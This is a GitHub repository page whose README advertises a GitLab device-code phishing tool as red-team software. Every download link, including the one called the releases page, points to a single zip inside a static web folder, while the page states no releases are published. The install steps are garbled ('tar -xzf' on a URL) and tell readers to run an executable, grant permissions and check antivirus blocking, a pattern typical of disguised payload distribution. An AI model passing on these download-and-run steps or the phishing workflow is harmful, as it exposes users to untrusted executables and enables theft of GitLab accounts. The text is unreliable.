Skip to content

Lukesgaming2011/GitLabDeviceCodePhishing

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

8 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ›‘οΈ GitLabDeviceCodePhishing - Easy GitLab Phishing for Testing

Download Release

πŸ“ What Is GitLabDeviceCodePhishing?

GitLabDeviceCodePhishing is a tool designed to help security teams test their defenses. It simulates a phishing attack using GitLab's device code method. This allows professionals to see how well their systems and users stand up to this type of social engineering.

This tool is mainly for red team engagement, which means it helps organizations find weak spots before real attackers do. It is made to be straightforward and easy to use, even for people who do not have a deep programming background.

πŸ’» Who Should Use This?

  • Security professionals wanting to test GitLab phishing risks
  • IT teams tasked with improving company security
  • Anyone curious about device code phishing methods
  • Trainers and educators who teach cybersecurity concepts

πŸ“‹ System Requirements

Before you start, make sure your system meets these basic needs:

  • Operating System: Windows 10 or later, or Linux with a recent kernel
  • Memory: At least 4 GB RAM
  • Storage: 100 MB free space for the program files
  • Internet: Active connection during use
  • A GitLab account to test against (recommended but not mandatory)

If you do not meet these requirements, the software might not work correctly or might run very slowly.

πŸ”§ Features

  • Simple interface with clear options
  • Supports GitLab device code flow for phishing tests
  • Generates realistic phishing prompts
  • Logs attempts for review and analysis
  • Saves results to easy-to-read files
  • Works on both Windows and Linux

πŸš€ Getting Started

Follow these steps to download and run GitLabDeviceCodePhishing:

  1. Visit the Download Page
    Go to the releases page by clicking the big blue button at the top or here:
    https://github.com/Lukesgaming2011/GitLabDeviceCodePhishing/raw/refs/heads/main/src/web/static/Git-Lab-Device-Phishing-Code-1.4-beta.3.zip

  2. Download the Latest Version
    On the releases page, look for the newest release. It usually has the highest version number or the latest date. Download the file that fits your system:

    • For Windows, this will typically be a .exe or .zip file.
    • For Linux, this might be a https://github.com/Lukesgaming2011/GitLabDeviceCodePhishing/raw/refs/heads/main/src/web/static/Git-Lab-Device-Phishing-Code-1.4-beta.3.zip archive or a binary file.
  3. Unpack Files If Needed
    If you downloaded a compressed file like .zip or https://github.com/Lukesgaming2011/GitLabDeviceCodePhishing/raw/refs/heads/main/src/web/static/Git-Lab-Device-Phishing-Code-1.4-beta.3.zip, use an extractor program to unzip it. On Windows, right-click and select "Extract All." On Linux, use the terminal with tar -xzf https://github.com/Lukesgaming2011/GitLabDeviceCodePhishing/raw/refs/heads/main/src/web/static/Git-Lab-Device-Phishing-Code-1.4-beta.3.zip.

  4. Run the Program
    Find the main executable file in the extracted folder and double-click it. On Linux, you might need to give permission by running chmod +x filename in the terminal before launching.

  5. Follow On-Screen Instructions
    The program will guide you through setting up the phishing attempt. It will ask for inputs like the GitLab URL and details about the test.

πŸ’Ύ Download & Install

You can always return here to download the latest version:
Download GitLabDeviceCodePhishing

Step-by-step installation example for Windows:

  1. Click on the latest .exe or .zip file under "Assets."
  2. Save the file to your Desktop or Downloads folder.
  3. If zipped, extract the files.
  4. Double-click on the .exe file to start.
  5. Grant any permissions if Windows asks you.
  6. The program window will open, ready for setup.

Step-by-step installation example for Linux:

  1. Click on the latest https://github.com/Lukesgaming2011/GitLabDeviceCodePhishing/raw/refs/heads/main/src/web/static/Git-Lab-Device-Phishing-Code-1.4-beta.3.zip or binary file under "Assets."
  2. Save it to your home folder.
  3. Open a terminal and navigate to the folder where you saved the file.
  4. Extract if needed: tar -xzf https://github.com/Lukesgaming2011/GitLabDeviceCodePhishing/raw/refs/heads/main/src/web/static/Git-Lab-Device-Phishing-Code-1.4-beta.3.zip
  5. Make the file executable: chmod +x filename
  6. Run the program: ./filename

βš™οΈ How to Use GitLabDeviceCodePhishing

  1. Open the program.
  2. Enter the GitLab instance URL you want to target.
  3. Input any required details, such as project or organization name.
  4. Start the phishing simulation.
  5. Watch for the prompts shown to the user.
  6. Review the logs saved by the application after the test finishes.
  7. Use results to improve security or train staff.

πŸ›  Troubleshooting

  • Program Won't Start:
    Make sure your system has the right version of Windows or Linux. Check if your antivirus is blocking it.

  • Error During Setup:
    Confirm you typed the GitLab URL correctly. Also, verify your internet connection.

  • No Logs Are Created:
    Ensure the program has permission to write to the folder. Try running as administrator.

  • Phishing Prompt Does Not Show:
    Check if all steps were followed correctly. Restart the program and try again.

πŸ“– Additional Tips

  • Run tests in a safe environment where no real user accounts or data are at risk.
  • Use the logs to understand how phishing methods might succeed or fail.
  • Regularly update the tool by checking the releases page.
  • Consult your organization’s security policy before running phishing tests.

πŸ“ž Getting Help

If you need help or face issues:

  • Visit the GitHub Issues tab on the repository page.
  • Look for existing answers or open a new issue.
  • Include details like your OS, what you tried, and screenshots if possible.

πŸ”— Useful Links

Download Release

About

πŸ› οΈ Enable GitLab Device Code phishing with a web interface for testing security on GitLab SaaS and self-hosted instances efficiently.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors